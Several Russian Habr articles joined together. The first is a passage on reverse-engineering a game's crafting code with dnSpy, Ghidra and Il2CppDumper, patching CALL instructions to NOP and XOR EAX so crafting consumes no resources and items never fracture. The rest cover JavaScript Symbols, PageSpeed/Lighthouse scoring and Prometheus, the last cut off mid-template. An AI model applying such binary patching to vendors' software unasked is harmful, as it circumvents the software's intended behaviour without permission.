singleSubTypeContainer.MoveItemTo(singleSubTypeContainer.GetContent()[0], 1, this.modifier, new IntVector2?(IntVector2.Zero), Context.SILENT);
break;
}
}
}
if (num >= 0 && this.prefixTierVFXObjects.Length != 0 && this.suffixTierVFXObjects.Length != 0)
{
ItemData itemData2 = null;
if (this.main.HasContent())
{
itemData2 = this.main.GetContent()[0].data;
}
if (itemData2 != null && this.main.HasContent())
{
List list2 = new List();
List list3 = new List();
foreach (ItemAffix itemAffix in itemData2.affixes)
{
if (itemAffix.affixType == AffixList.AffixType.PREFIX)
{
list2.Add(itemAffix);
}
else
{
list3.Add(itemAffix);
}
}
for (int i = 0; i < list2.Count; i++)
{
if ((int)list2[i].affixId == num && this.prefixTierVFXObjects[i])
{
this.prefixTierVFXObjects[i].SetActive(true);
}
}
for (int j = 0; j < list3.Count; j++)
{
if ((int)list3[j].affixId == num && this.suffixTierVFXObjects[j])
{
this.suffixTierVFXObjects[j].SetActive(true);
}
}
}
}
}
if (!flag2)
{
goto IL\_6B3;
}
this.support.Clear();
using (List.Enumerator enumerator2 = ItemContainersManager.instance.materials.Containers.GetEnumerator())
{
while (enumerator2.MoveNext())
{
SingleSubTypeContainer singleSubTypeContainer2 = enumerator2.Current;
if (singleSubTypeContainer2.CanAddItemType((int)itemData.itemType) && singleSubTypeContainer2.allowedSubID == (int)itemData.subType && singleSubTypeContainer2.HasContent())
{
singleSubTypeContainer2.MoveItemTo(singleSubTypeContainer2.GetContent()[0], 1, this.support, new IntVector2?(IntVector2.Zero), Context.SILENT);
break;
}
}
goto IL\_6B3;
}
}
this.modifier.Clear();
this.support.Clear();
}
IL\_6B3:
if (!flag)
{
UISounds.playSound(UISounds.UISoundLabel.CraftingFailure);
}
this.slamVFX.SetActive(true);
this.UpdateItemInfo();
this.UpdateFractureChanceDisplay();
this.UpdateForgeButton();
ShardCountText.UpdateAll();
}
}
```
С моей точки зрения данный код выглядит не так уж и плохо. Даже и не скажешь сразу, что это декомпелированная версия (выдают только названия переменных в духе **num1**, **num2**...). Есть даже логирование, которое позволяет легче понять назначение веток.
После изучения кода я выяснил примерный механизм работы — у нас есть несколько `CraftingSlot`'ов, в которые мы помещаем предмет крафта и модификаторы. `CraftingSlotManager` соответсвенно управляет взаимодействием этих слотов и в целом отвечает за логику крафта.
### Отключаем расходование ресурсов при крафте
Нас интересуют две переменные: `this.modifier` и `this.support`
Это слоты для модификаторов, которые используются во время крафта.
Как оказалось уничтожение модификаторов происходит в процессе следующих вызовов:
```
this.modifier.Clear();
this.support.Clear();
```
Хотя для меня не очевидно, почему очистка слота обязательно должна удалять его содержимое (а не, например, возвращать обратно в инвентарь) — это вопрос наименования методов и переменных и к нашему исследованию отношения не имеет.
Удаляем все вызовы `this.modifier.Clear();` и `this.support.Clear();` из кода функции и радуемся
Процесс редактирования в dnSpy просто фантастика — просто поправили код и сохранили в .dll — все изменения будут скомпилированы автоматически:
### Убираем поломку предмета в процессе крафта
В игре поломка предмета в процессе крафта называется Fracture, поэтому мне сразу бросился в глаза данный кусок кода:
И действительно — модификация вида `int num3 = -10;` полностью отключает поломку — спасибо разработчикам за оставленный дебаг флаг.
Часть вторая, где мы испытываем боль и страдания
------------------------------------------------
Начиная с версии 0.7.9 разработчики начали использовать [IL2CPP](https://docs.unity3d.com/Manual/IL2CPP.html) для того, чтобы собирать проект напрямую в нативный бинарник под нужную платформу. В результате у нас больше нет IL-кода, а есть лишь хардкорный ассемблер… но кого это останавливало?
**Дисклеймер**
Автор статьи не является реверс-инженером, а имеет за спиной только остатки университетского курса Ассемблера и один No-CD, сделанный в OllyDbg 10 лет назад. Вполне возможно, что какие-то вещи были сделаны неправильно или их можно было сделать намного лучше и проще
### Ищем иголку в стоге Гидры
Итак, из папки игры пропали все старые .dll-ки и мы взамен получили один огромный `GameAssembly.dll` весом в 55 мегабайт. Наши цели не изменились, но теперь все будет намного сложнее.
Первым делом загружаем dll-ку в [Ghidra](https://github.com/NationalSecurityAgency/ghidra)'у и соглашаемся на все виды анализа, которые она предлагает (анализ занимает довольно много времени и в дальнейшем я останавливал его на стадии `Analyze Address Table`)
На этом я, как начинающий реверсер, и закончил бы, ведь каким образом тут искать нужный нам код — совершенно мне непонятно.
К счастью погуглив на тему IL2CPP я нашел утилиту [Il2CppDumper](https://github.com/Perfare/Il2CppDumper), которая позволяет частично восстановить информацию на основе метадата-файла (который обнаружился по пути `/il2cpp\_data/Metadata/global-metadata.dat`). Не знаю является ли данный файл необходимостью или разработчики просто забыли убрать его, но он сильно облегчил нашу задачу.
Скармливаем утилите наши файлы dll и метадаты и получаем набор восстановленных данных:
В папке DummyDll находятся восстановленные dll-ки с частично восстановленным IL-кодом. Загружаем восстановленный `Assembly-CSharp.dll` в dnSpy и идем в наш любимый `CraftingSlotManager`:
Ну что же, кода у нас больше нет, зато у нас есть адрес! В аннотации
```
Address(RVA = "0x5B9FC0", Offset = "0x5B89C0", VA = "0x1805B9FC0")
```
Нам нужно значение VA — это оффceт, по которому мы найдем нашу функцию в Гидре:
Теперь мы хотя бы нашли начало нашей функции, что уже неплохо.
Можно ли сделать лучше? Вспоминаем, что Il2CppDumper генерирует данные, котрые можно импортировать в Гидру — копируем скрипт в папку скриптов Гидры, запускаем `ghidra.py` и скармливаем ему `script.json`, сгенерированный из нашей метадаты. Теперь у всех функций, которые были объявлены в исходном коде, появились имена.
### Отключаем расходование ресурсов при крафте
Мы уже знаем, что нам достаточно убрать вызовы `this.modifier.Clear();` и `this.support.Clear();`. Осталось найти их в коде. К счастью восстановленные имена функций помогают решить эту задачу довольно просто.
Ломать — не строить. Чтобы убрать вызов функции нам достаточно заменить все байты, участвующие в CALL на [NOP](https://c9x.me/x86/html/file_module_x86_id_217.html)
Разбиваем команду на отдельные байты (выделив ее и нажав C, или Clear Code Bytes), затем в бинарном представлении просто впечатываем `90` пять раз. Готово!
Такую операцию повторяем для всех вызвов `OneSlotItemContainer$$Clear()` из нашей функции `Forge()` (На самом деле это нужно делать не для всех вызовов, потому что в коде есть один вызов `this.main.Clear();` Но мне было слишком лениво выискивать конкретное исключение в ассемблерной каше, поэтому я убрал все вызовы).
### Убираем поломку предмета в процессе крафта
Изначально мы делали `int num3 = -10;` и благодарили разработчика за оставленный дебаг флаг в качестве подсказки. Теперь это не кажется такой простой задачей — сложно понять, какая из ~60 локальных переменных, найденных Гидрой, является нужной. После 15 минут поиска мне наконец удалось понять, что зубодробительная строчка на скриншоте ниже является той самой проверкой дебаг флага и вычитанием из переменной.
К сожалению моих знаний Ассемблера не хватило, чтобы понять как именно это работает (судя по Гидре этот процесс занимает 4 команды начиная с MOVZX и заканчивая на AND), поэтому деликатно изменить эту часть я не смог. Другого способа изменить эту переменную я тоже не нашел в силу своих ограниченных знаний, поэтому я изменил подход.
Посмотрев еще раз в замечательный (после работы с Гидрой) код старой версии игры в dnSpy я увидел, что за накопление "нестабильности" отвечает метод `AddInstability`
```
public bool AddInstability(int addedInstability, int fractureTierModifier = 0, int affixTier = 0)
{
int num = this.RollFractureTier(fractureTierModifier, affixTier);
if (num > 0)
{
this.Fracture(num); // <----- Предмет ломается тут
return false;
}
this.instability = ((int)this.instability + addedInstability).clampToByte();
this.RebuildID();
return true;
}
```
Гидра радует нас относитлеьно простым кодом данной функции:
По коду мы видим, что сначала происходит вызов `CALL ItemData$$RollFractureTier`, затем мы проверяем результат `TEST EAX` и прыгаем в нужную ветку:
Нам нужно, чтобы мы всегда шли по ветке `uVar3 < 1`. Тут можно сделать разные исправления — например (могу ошибаться) поменять [JG](http://faydoc.tripod.com/cpu/jg.htm)(Jump short if greater) на JLE(Jump short if less or equal).
Я решил вопрос иначе — просто сделаем проверяемый регистр равным нулю и тогда остальной код будет работать как надо. Меняем `CALL` на `XOR EAX, EAX` (самый просто способ обнулить регистр в Ассемблере), который занимает два байта и оставшиеся три байта заполняем NOP'ами.
Готово! Сохраняем, заменяем существующий `GameAssembly.dll` (почему-то Гидра в процессе экспорта файла всегда добавляет расширение .bin и его нужно удалять) и чувствуем себя хакерами.
Выводы
------
Для многих компиляция является "путем в один конец", а бинарные файлы представляются неуязвимыми бастионами, которые способны пасть только перед лучшими хакерами.
В реальности многие популярные языки компилируются в примежуточный код, который замечательно трактуется и модифицируется профильными декомпиляторами. Для подобных модификаций зачастую хватит обычного умения программировать хоть на чем-нибудь.
И, хотя нативные бинарники и могут представлять опасность для ваших глаз и мозга, поверхностных знаний о том, как работают программы на уровне, близком к железу, зачастую бывает достаточно в связке с современными open-source инструментами для небольших модификаций. | https://habr.com/ru/post/514416/ | null | ru | null |
# Exploring JavaScript Symbols. Symbol — новый тип данных в JavaScript
Это первая часть про символы и их использование в JavaScript.
Новая спецификация ECMAScript (ES6) вводит дополнительный тип данных — символ (symbol). Он пополнит список уже доступных примитивных типов (string, number, boolean, null, undefined). Интересной особенностью символа по сравнению с остальными примитивными типами является то, что он единственный тип у которого нет литерала.
Для чего же нужен был дополнительный тип данных?
В JavaScript нет возможности объявить свойство объекта как приватное. Чтобы скрыть данные можно использовать замыкания, но тогда все свойства нужно объявлять в конструкторе (так как нет возможности объявить их в прототипе), к тому же они будут создаваться для каждого экземпляра, что увеличит размер используемой памяти. ECMAScript 5 предоставил возможность указать `enumerable: false` для свойства, что позволяет скрыть свойство от перечисления в `for-in` и его не будет видно в `Object.keys`, но для этого нужно объявлять его через конструкцию `Object.defineProperty`.
```
var user = {};
Object.defineProperty( user, 'role', {
enumerable: false,
value: 'admin'
});
```
Такая конструкция объявления всё равно не лишает возможности получить значение свойства, если напрямую обратиться к нему:
```
var userRole = user.role; // 'admin'
```
В других языках, к примеру, можно добавить модификатор метода, чтобы определить его видимость (protected, private, public). Но в новой спецификации JavaScript выбрали другой подход и решили не вводить модификаторы, а определять поведение в зависимости от типа идентификатора свойства. Раньше имя свойства было строкой, теперь же это может быть как строка так и символ. Такой подход позволяет не менять саму концепцию объявления объектов:
```
var role = Symbol();
var user = {
id: 1001,
name: 'Administrator',
[role]: 'admin'
};
```
В данном примере объявлен объект `user` у которого два свойства объявлены через строковые идентификаторы (`id`, `name`) и одно свойство через символ (`role`).
Свойство `role` объявлено в квадратных скобках, чтобы оно не интерпретировалось как строка, а было получено в результате вычисления выражения. Данный объект можно также объявить следующим образом, чтобы лучше понять данную конструкцию:
```
var role = Symbol();
var user = {
['id']: 1001,
['name']: 'Administrator',
[role]: 'admin'
};
```
В данном случае будут вычислены все три выражения и их результаты будут именами свойств. Возможность использовать динамические (получаемые в результате вычисления выражения) имена свойств для литералов объекта добавлены в ES6.
Ключевой особенностью символа, которой он отличается от строки, является то, что обратиться к свойству которое объявлено через символ можно только по ссылке на данный символ. К примеру, eсли у объекта `user` нужно получить имя пользователя нужно написать данный код:
```
var userName = user.name; // 'Administrator'
// OR
var userName = user['name']; // 'Administrator'
```
Получить роль пользователя таким образом мы не можем:
```
var userRole = user.role; // undefined
// OR
var userRole = user['role']; // undefined
```
Для того, чтобы получить роль, нужно обращаться к свойству по ссылке на символ:
```
var role = Symbol();
var user = {
id: 1001,
name: 'Administrator',
[role]: 'admin'
};
var userRole = user[role]; // 'admin'
```
Свойство объявленное через символ не будет видно в `for-in`, `Object.keys`, `Object.getOwnPropertyNames`, также не будет добавлено при использовании `JSON.stringify`.
Рассмотрим особенности символов.
Как уже было показано в примере выше, чтобы создать символ нужно вызвать функцию `Symbol`:
```
var score = Symbol();
```
Функция `Symbol` также принимает необязательный параметр — строку, которая служит для описания символа:
```
var score = Symbol('user score');
console.log( score ); // Symbol(user score)
```
Описание символа служит только для того, чтобы помочь при отладке, оно не изменяет поведение символа и обратиться к символу через описание нельзя, также нет метода, чтобы получить или изменить описание символа.
Спецификация ES6 больше не поддерживает явное создание объектов примитивов, поэтому следующая конструкция выбросит ошибку:
```
var score = new Symbol('score'); // TypeError
```
В целях обратной совместимости для `String`, `Number` и `Boolean` — ошибка не будет выбрасываться (но лучше не использовать устарешнее поведение). Если нужно работать не с примитивом, а с его объектом можно воспользоваться функцией `Object` передав ей примитив в качестве параметра:
```
var symbol = Symbol('symbol');
var string = 'string';
var number = 5;
var symbolObj = Object( symbol );
var stringObj = Object( string );
var numberObj = Object( number );
console.log( symbol ); // Symbol(symbol)
console.log( string ); // 'string'
console.log( number ); // 5
console.log( symbolObj ); // Symbol {}
console.log( stringObj ); // String { 0: 's', 1: 't', 2: 'r', 3: 'i', 4: 'n', 5: 'g', length: 6, [[PrimitiveValue]]: 'string' }
console.log( numberObj ); // Number { [[PrimitiveValue]]: 5 }
```
Важной особенностью символа также является то, что его значение уникально:
```
var firstScore = Symbol('score');
var secondScore = Symbol('score');
firstScore === secondScore; // false
```
Это поведение открывает перед нами больше возможностей при работе с объектами, например, несколько модулей могут расширять объект новыми свойствами, не беспокоясь за возможные конфликты имен.
Для определения символа можно использовать `typeof`, в случае если значения является символом будет возвращена строка `symbol`:
```
function isSymbol( value ) {
return typeof value === 'symbol';
}
var firstScore = Symbol('score');
var secondScore = 'score';
isSymbol( firstScore ); // true
isSymbol( secondScore ); // false
```
В текущей системе приведения типов JavaScript есть много нюансов и символы добавляют еще одну особенность тем, что в отличии от остальных примитивных значений символ нельзя преобразовать к строке или числу. При попытке преобразовать к числу или строке будет выброшена ошибка `TypeError`. Такое поведение выбрано для того, чтобы случайно не создать строковое значение, которое в итоге будет использовано как имя свойства:
```
var userObject = {};
var role = Symbol() + 'type';
var id = 10001;
userObject.id = id;
userObject[ role ] = 'admin';
```
В данном примере не однозначно, что должно быть в результате сохранено в переменную `role`, если строка, тогда свойство `userObject[ role ] = 'admin'` будет объявлено через строку и к нему будет прямой доступ (но так как использовался символ, скорее всего было желание скрыть значение свойства). С другой стороны, если в результатом выражения будет символ, а так как получить значения символа нельзя, значит определить наличие в нем строки `type` нельзя, и это уже не явное поведение и нужно информировать разработчика в ситуациях, когда он преднамеренно пытается создать строковое значение из символа, потому что такая конструкция не имеет смысла.
Чтобы не было такой неоднозначности, и было выбрано поведение, что при попытке преобразовать символ будет ошибка.
Это основная информация о символах, как о типе данных. В следующей части продолжим рассматривать символ и изучать методы символа (как создать глобальный символ, как работет `Object.getOwnPropertySymbols`), также посмотрим на возможные примеры использования символа. | https://habr.com/ru/post/255137/ | null | ru | null |
# Особенности Google PageSpeed: улучшение оценки сайта и его рейтинга в поиске
Материал, перевод которого мы сегодня публикуем, посвящён рейтингу скорости сайтов, который можно вычислить с помощью Google PageSpeed Insights.
Ни для кого не секрет то, что скорость сайта в наше время стала одной из его важнейших характеристик. Чем быстрее сайт загружается и готовится к работе — тем выше может быть доход, который он приносит своему владельцу. Ускорение сайта означает снижение числа пользователей, которые, едва зайдя на этот сайт, покидают его, устав ждать загрузки его материалов. Особую значимость быстродействию сайта придаёт тот факт, что теперь показатели Google PageSpeed используются как один из факторов ранжирования сайтов в результатах поиска. В результате сегодня многие организации уделяют скорости своих сайтов самое пристальное внимание.
[](https://habr.com/ru/company/ruvds/blog/462005/)
Изменения в алгоритмах ранжирования сайтов
------------------------------------------
В прошлом году компания Google внесла два серьёзных изменения в алгоритмы поискового индексирования и ранжирования сайтов.
* В марте индексирование стало основанным на [мобильной](https://webmasters.googleblog.com/2018/03/rolling-out-mobile-first-indexing.html) версии страницы, а не на настольной.
* В июле алгоритм SEO-ранжирования был [обновлён](https://webmasters.googleblog.com/2018/01/using-page-speed-in-mobile-search.html). При его расчёте для мобильных и рекламных страниц начали использовать рейтинг скорости страниц.
Эти факты позволяют нам сделать следующие выводы:
* Скорость мобильной версии сайта повлияет на его общий SEO-рейтинг.
* Если страницы сайта загружаются медленно — это снизит оценку качества рекламы (ad quality score) и рекламные объявления будут стоить дороже.
Вот что об этом говорит Google: «Более быстрые сайты не только улучшают ощущения пользователей; последние данные показывают, что повышение скорости работы сайта, кроме того, ведёт к снижению стоимости его поддержки. Мы очень ценим скорость. То же самое можно сказать и о наших пользователях. Именно поэтому мы решили, что при расчёте показателей поискового ранжирования будем учитывать и скорость сайта».
Для того чтобы понять то, как эти изменения воздействуют на наши проекты в плане оптимизации их производительности, нам нужно разобраться с технологиями, лежащими в основе оценки скорости сайтов. [PageSpeed 5.0](https://developers.google.com/speed/docs/insights/release_notes) представляет собой полностью пересмотренную версию этой системы. Теперь в её основе лежат Lighthouse и [CrUX](https://developers.google.com/web/updates/2017/12/crux) (Chrome User Experience Report).
Это обновление, кроме того, принесло и новый алгоритм оценки, который значительно усложняет задачу получения высокого балла в PageSpeed.
Что изменилось в PageSpeed 5.0?
-------------------------------
До версии 5.0 инструмент PageSpeed проверял страницу, анализируя её соответствие набору эвристических правил. Если на странице присутствовали большие несжатые изображения — PageSpeed мог посоветовать веб-разработчику сжать эти изображения. Нет заголовков Cache? Система могла посоветовать их добавить.
К этим проверкам страницы были привязаны рекомендации. Следование рекомендациям могло привести к улучшению производительности страницы. Но эвристические правила были довольно-таки поверхностными, они не были нацелены на исследование того, какие впечатления вызовут у реального посетителя сайта загрузка и рендеринг страницы.
В PageSpeed 5.0 страницы загружаются в настоящий браузер Chrome, которым управляет Lighthouse. Lighthouse записывает показатели, полученные из браузера, применяет к ним модель балльных оценок и выводит общую оценку производительности. Рекомендации по улучшению производительности приводятся на основании баллов, набранных исследуемой страницей по отдельным показателям.
В Lighthouse, как и в PageSpeed, есть система оценки производительности сайтов. В PageSpeed 5.0 оценка производительности берётся непосредственно из Lighthouse. Оценка производительности, выводимая PageSpeed, теперь является той же самой оценкой, что выдаёт Lighthouse.
*Оценка производительности, выводимая PageSpeed, основана на оценке, формируемой Lighthouse*
Теперь, когда мы знаем о том, откуда берётся оценка PageSpeed, давайте поговорим о том, как эта оценка вычисляется, и о том, что можно предпринять для улучшения скорости сайта.
Что такое Google Lighthouse?
----------------------------
[Lighthouse](https://calibreapp.com/blog/lighthouse-reasons/?via=chris) — это опенсорсный проект, которым занимается специальная команда, выделенная из числа разработчиков Google Chrome. За последние пару лет Lighthouse стал стандартным бесплатным инструментом для анализа производительности сайтов.
Lighthouse использует средства Chrome по удалённой отладке (Chrome Remote Debugging Protocol) для чтения сведений о сетевых запросах, для измерения производительности JavaScript-кода, для проверки соблюдения стандартов доступности содержимого страницы. Этот инструмент измеряет временные показатели, ориентированные на особенности восприятия страницы пользователями. Среди них, например, [First Contentful Paint](https://calibreapp.com/docs/metrics/paint-based-metrics?via=chris) (Время загрузки первого контента), [Time to Interactive](https://calibreapp.com/docs/metrics/time-to-interactive?via=chris) (Время загрузки для взаимодействия) и Speed Index (Индекс скорости загрузки).
Если вы интересуетесь Lighthouse — взгляните на [этот](https://github.com/GoogleChrome/lighthouse/blob/master/docs/architecture.md) материал из официального репозитория проекта, посвящённый общему описанию его архитектуры.
Вычисление оценки производительности сайта в Lighthouse
-------------------------------------------------------
В ходе исследования производительности страницы Lighthouse записывает множество метрик, ориентированных на оценку того, что видит, и что испытывает пользователь, работая со страницей. Вот шесть показателей, используемых для вывода общей оценки производительности:
* Time to Interactive (TTI, Время загрузки для взаимодействия).
* Speed Index (Индекс скорости загрузки).
* First Contentful Paint (FCP, Время загрузки первого контента).
* First CPU Idle (Время окончания работы ЦП).
* First Meaningful Paint (FMP, Время загрузки достаточной части контента).
* Estimated Input Latency (Приблизительное время задержки при вводе).
Каждый из этих показателей оценивается по шкале 0 — 100. Оценка выполняется путём получения 75-го и 95-го перцентилей для мобильных страниц из [HTTP Archive](https://httparchive.org/) и путём применения функции `log normal`.
[Следуя](https://www.desmos.com/calculator/2t1ugwykrl) этому алгоритму и рассматривая данные, используемые для вычисления показателя TTI, можно заметить, что если страница смогла стать «интерактивной», пригодной для взаимодействия с пользователем, за 2.1 секунды, то показатель TTI окажется равным 92/100.
*TTI*
После того, как будет вычислен каждый из показателей, ему назначается определённый вес, который используется как модификатор при расчёте общего показателя. Вот веса, назначаемые различным метрикам.
| | |
| --- | --- |
| **Метрика** | **Вес** |
| Time to Interactive (TTI) | 5 |
| Speed Index | 4 |
| First Contentful Paint | 3 |
| First CPU Idle | 2 |
| First Meaningful Paint | 1 |
| Estimated Input Latency | 0 |
Веса указывают на то, какое воздействие каждый из показателей оказывает на впечатления мобильного пользователя от работы со страницей.
В будущем этот набор может быть расширен путём включения в него показателей, взятых из набора данных Chrome User Experience Report, связанных с восприятием сайтов пользователями.
Возможно, вам интересно будет узнать о том, как использование весов влияет на итоговую оценку производительности. Если это так — взгляните на [эту таблицу](https://docs.google.com/spreadsheets/d/1Cxzhy5ecqJCucdf1M0iOzM8mIxNc7mmx107o5nj38Eo/edit#gid=0), созданную командой Lighthouse. Проанализировав её, можно лучше понять этот процесс.
*Фрагмент таблицы, демонстрирующей расчёт оценки производительности страниц*
Если в примере, приведённом выше, изменить показатель `interactive` (это — то, что мы называем здесь TTI) с 5 секунд до 17 секунд (то есть — до уровня глобального среднего показателя TTI для мобильных страниц), то оценка страницы упадёт до 56% (то есть — она получит 56 баллов из 100 возможных).
Если же установить в значение 17 секунд показатель `first-contentful-paint`, то оценка упадёт до 62%.
В результате можно сделать вывод о том, что наибольшее влияние на итоговую оценку сайта оказывает метрика TTI. Из этого следует то, что для получения высокой оценки PageSpeed странице необходимо демонстрировать достойный показатель TTI.
Улучшение TTI
-------------
Если в общих чертах рассматривать проблему улучшения TTI, то можно сказать, что существуют два фактора, которые чрезвычайно сильно влияют на этот показатель:
* Объём JavaScript-кода, загружаемый на страницу.
* Время, которое занимает выполнение различных JavaScript-задач в главном потоке.
[Здесь](https://calibreapp.com/blog/time-to-interactive/?via=chris) можно найти подробности о TTI, но если вы хотели бы быстро, без необходимости проведения дополнительных исследований, улучшить TTI своего сайта, мы могли бы порекомендовать уменьшить объём JavaScript-кода.
Везде, где это возможно, уберите неиспользуемый JavaScript-код, или постарайтесь, чтобы страница загружала бы только те скрипты, которые используются на этой странице. Выполнение этой рекомендации может означать избавление от старых полифиллов или замену сторонних библиотек на более компактные и более современные альтернативы.
Важно помнить о том, что то, что называют «[ценой JavaScript](https://medium.com/reloading/javascript-start-up-performance-69200f43b201)», это не только время, необходимое на загрузку кода. Браузеру нужно распаковать, распарсить, скомпилировать и, в итоге, выполнить загруженный JavaScript-код. Выполнение всех этих операций может занять заметное время. Особенно — на мобильных устройствах.
Среди эффективных мер по уменьшению объёма JS-кода, используемого страницами, можно отметить следующие:
* Анализ используемых полифиллов и отказ от тех из них, которые больше не нужны вашей аудитории.
* Выяснение «стоимости» каждой из используемых сторонних библиотек. Для того чтобы узнать о размерах библиотек, применяемых в проекте, можно применить такие инструменты, как [webpack-bundle-analyser](https://www.npmjs.com/package/webpack-bundle-analyzer) и [source-map-explorer](https://www.npmjs.com/package/source-map-explorer).
* Современные инструменты для работы с JavaScript (вроде webpack) могут разбивать крупные JS-приложения на наборы небольших бандлов, которые автоматически подгружаются по мере того, как в них возникает необходимость. В частности — при переходе пользователя со страницы на страницу сайта. Этот подход к оптимизации производительности сайтов известен как разделение кода ([code splitting](https://webpack.js.org/guides/code-splitting/)). Его применение очень хорошо влияет на TTI.
* Используйте сервис-воркеры, которые [кэшируют](https://v8.dev/blog/code-caching-for-devs) байт-код, полученный в результате парсинга и компиляции скриптов. Если вы можете включить в свой проект подобные механизмы кэширования, то системные ресурсы посетителей сайта будут тратиться на разбор и компиляцию кода лишь при первом заходе на ресурс. При повторных визитах на сайт необходимые материалы будут браться из кэша.
Мониторинг TTI
--------------
Для того чтобы успешно исследовать то, как ваш сайт воспринимают пользователи, просматривающие его, мы рекомендуем использовать системы мониторинга производительности сайтов наподобие [Calibre](https://calibreapp.com/?via=chris). В частности, речь идёт о том, что сайты испытывают минимум на двух устройствах — на быстром настольном компьютере и на мобильном телефоне, производительность которого находится на уровне медленных устройств среднего класса.
При таком подходе у вас будут данные и для наилучшего варианта работы с вашим сайтом, и для наихудшего. Вам при этом придётся свыкнуться с тем, что посетители вашего сайта не пользуются такими же мощными устройствами, какими пользуется ваша команда.
Тщательное ручное профилирование
--------------------------------
Для того чтобы извлечь максимум пользы из профилирования производительности JS-кода тестовые страницы испытывают на специально замедленных мобильных устройствах. Если у вас в ящике стола валяется старый телефон — реализация этой идеи может дать ему замечательную вторую жизнь.
Хорошим заменителем реальных устройств являются возможности инструментов разработчика Chrome. [Вот](https://calibreapp.com/blog/react-performance-profiling-optimization/?via=chris) материал, посвящённый профилированию React-приложений с использованием этих инструментов.
Другие метрики
--------------
Такие метрики, как Speed Index, First Contentful Paint и First Meaningful Paint, основаны на том, как браузер визуализирует страницу. На них влияют факторы, похожие на те, о которых мы уже говорили. Воздействие на эти факторы часто ведёт к улучшению всех этих показателей.
Объективно говоря, улучшать эти метрики проще, чем TTI. Дело в том, что базой для их вычисления служит скорость рендеринга страниц браузером. Эти метрики можно улучшить, точно следуя рекомендациям, выдаваемым после анализа страниц с помощью Lighthouse.
Если вы ещё не выполняете предварительную загрузку шрифтов или не оптимизируете страницу с учётом особенностей критически важных запросов — то вы вполне можете начать улучшение показателей рендеринга своего сайта именно с этих двух направлений. В [этом](https://calibreapp.com/blog/critical-request/?via=chris) материале можно найти подробные сведения о том, как браузер загружает и выводит критически важные ресурсы, используемые при формировании веб-страниц.
Итоги: о наблюдении за сайтами и о внесении в их работу ощутимых улучшений
--------------------------------------------------------------------------
Обновлённая поисковая консоль Google, Lighthouse и PageSpeed Insights — это отличные средства, которые позволяют мгновенно оценить общие показатели производительности сайта. Однако они не очень хорошо подходят для команд, которым необходимо непрерывно отслеживать и улучшать производительность их проектов.
[Непрерывный мониторинг производительности](https://calibreapp.com/features?via=chris) — это важнейшая деталь рабочего процесса, нацеленного на постоянное поддержание производительности сайта на высоком уровне. При таком подходе команда разработчиков проекта мгновенно узнаёт о проблемах с производительностью. При ручном тестировании производительности возможен неожиданный разброс результатов. В результате без создания специализированного тестового окружения оказывается почти невозможным проведение испытаний производительности сайта с использованием разных устройств, или с имитацией других изменяющихся параметров систем потенциальных пользователей.
Скорость страниц стала важнейшим фактором в SEO-ранжировании страниц. Особенно сильно это заявление звучит в наши дни, когда почти 50% веб-трафика создают мобильные устройства.
Для того чтобы ваш сайт не потерял бы позиции в поисковой выдаче, постарайтесь использовать современные версии инструментов для анализа производительности его важнейших страниц и поддерживайте его скорость на устраивающем вас уровне.
**Уважаемые читатели!** Оптимизируете ли вы свои веб-проекты с учётом улучшения показателей, влияющих на оценки, выставляемые Google PageSpeed?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/462005/ | null | ru | null |
# Prometheus — практическое использование
Одной из важнейших задач при разработке приложений с микросервисной архитектурой является задача мониторинга. Слежение за состоянием сервисов и серверов позволяет не только вовремя реагировать на неисправности, но и анализировать их работу. Наличие такой информации трудно переоценить, ведь она предоставляет дополнительные возможности по улучшению производительности и качества работы Вашего ПО.
К счастью, существует множество решений задачи мониторинга, как платных, так и бесплатных. Я же хочу поделиться опытом практического использования open source системы мониторинга [Prometheus](https://prometheus.io/).
### Знакомство с Prometheus
Всерьез с микросервисной архитектурой я столкнулся совсем недавно, начав работу с уже существующей инфраструктурой сервисов. Для слежения за состоянием серверов и сбора метрик использовался [Zabbix](http://www.zabbix.com). Конфигурацией Zabbix занимались администраторы и все изменения/добавления графиков должны были проходить через них. Такой подход позволяет разделить зону ответственности, особенно в случаях, когда одной системой мониторинга пользуются разные команды разработчиков. Но, в то же время, приводит к задержке или неточностям при добавлении новых графиков, ведь администратор может не обратить внимание на детали, очевидные для поставившего задачу разработчика или попросту будет занят другими задачами. Проблема становится особенно острой, когда для дальнейшей разработки требуется быстрый доступ к историческим данным по метрикам сервиса. В качестве средства решения этой проблемы, я решил поискать легкую и простую в настройке систему мониторинга, которая бы хорошо “ложилась” на уже существующую инфраструктуру и упрощала работу по анализу метрик.
Минимальная конфигурация системы мониторинга Prometheus состоит из сервера Prometheus и отслеживаемого приложения, достаточно только указать по какому адресу необходимо запрашивать метрики. Сбор метрик выполняется согласно pull-модели по протоколу HTTP, но существует и [push-gateway](https://github.com/prometheus/pushgateway) компонент для слежения за короткоживущими сервисами. При использовании pull-модели Ваши приложения не знают о системе мониторинга, а значит можно запускать несколько серверов Prometheus для мониторинга, тем самым застраховавшись от возможных потерь данных. Для подготовки приложений к дальнейшему мониторингу предлагается использовать [клиентские библиотеки](https://prometheus.io/docs/instrumenting/clientlibs/), реализующие необходимый инструментарий по созданию и выводу метрик для различных языков. Рекомендуется использовать именно их, но при этом Вы можете применить свою реализацию, если она будет удовлетворять спецификации [exposition formats](https://prometheus.io/docs/instrumenting/exposition_formats/).
Такой подход полностью удовлетворял моим требованиям, так как сбор метрик для Zabbix производился по схожей схеме. Для сохранения совместимости с Zabbix и с уже используемой библиотекой метрик был написан адаптер, преобразовывающий существующий формат в подходящий для Prometheus. Такое решение позволило безболезненно экспериментировать с Prometheus не “задевая” мониторинг в Zabbix и сохраняя стабильность работы существующих сервисов.
### Использование
Преимущество использования Prometheus обнаружилось сразу же. Возможность в любой момент получать динамику изменения метрики, сравнивать с другими, преобразовывать, просматривать их в текстовом формате или в виде графика не покидая главной страницы web-интерфейса трудно переоценить.
Для фильтрации и преобразования метрик используется очень удобный [язык запросов](https://prometheus.io/docs/querying/basics/). К сожалению, отсутствует возможность сохранить сформированный запрос непосредственно через web-интерфейс. Для этого нужно создавать [консоль](https://prometheus.io/docs/visualization/consoles/), представляющую собой html-страницу, с возможностью использования [Go-templates](https://golang.org/pkg/text/template/), и уже в ней строить графики, таблицы, сводки и т.д.
Хорошим решением будет создание обобщенных консолей. К примеру, необходимо мониторить несколько HTTP-серверов. Каждый из них имеет метрику, например, “http\_requests\_total”, показывающую количество принятых HTTP-запросов. Создадим консоль, отображающую список таких сервисов в виде ссылок на консоли с более подробной информацией:
```
{{ range query "sum(http_requests_total) by (instance)" | sortByLabel "instance" }}
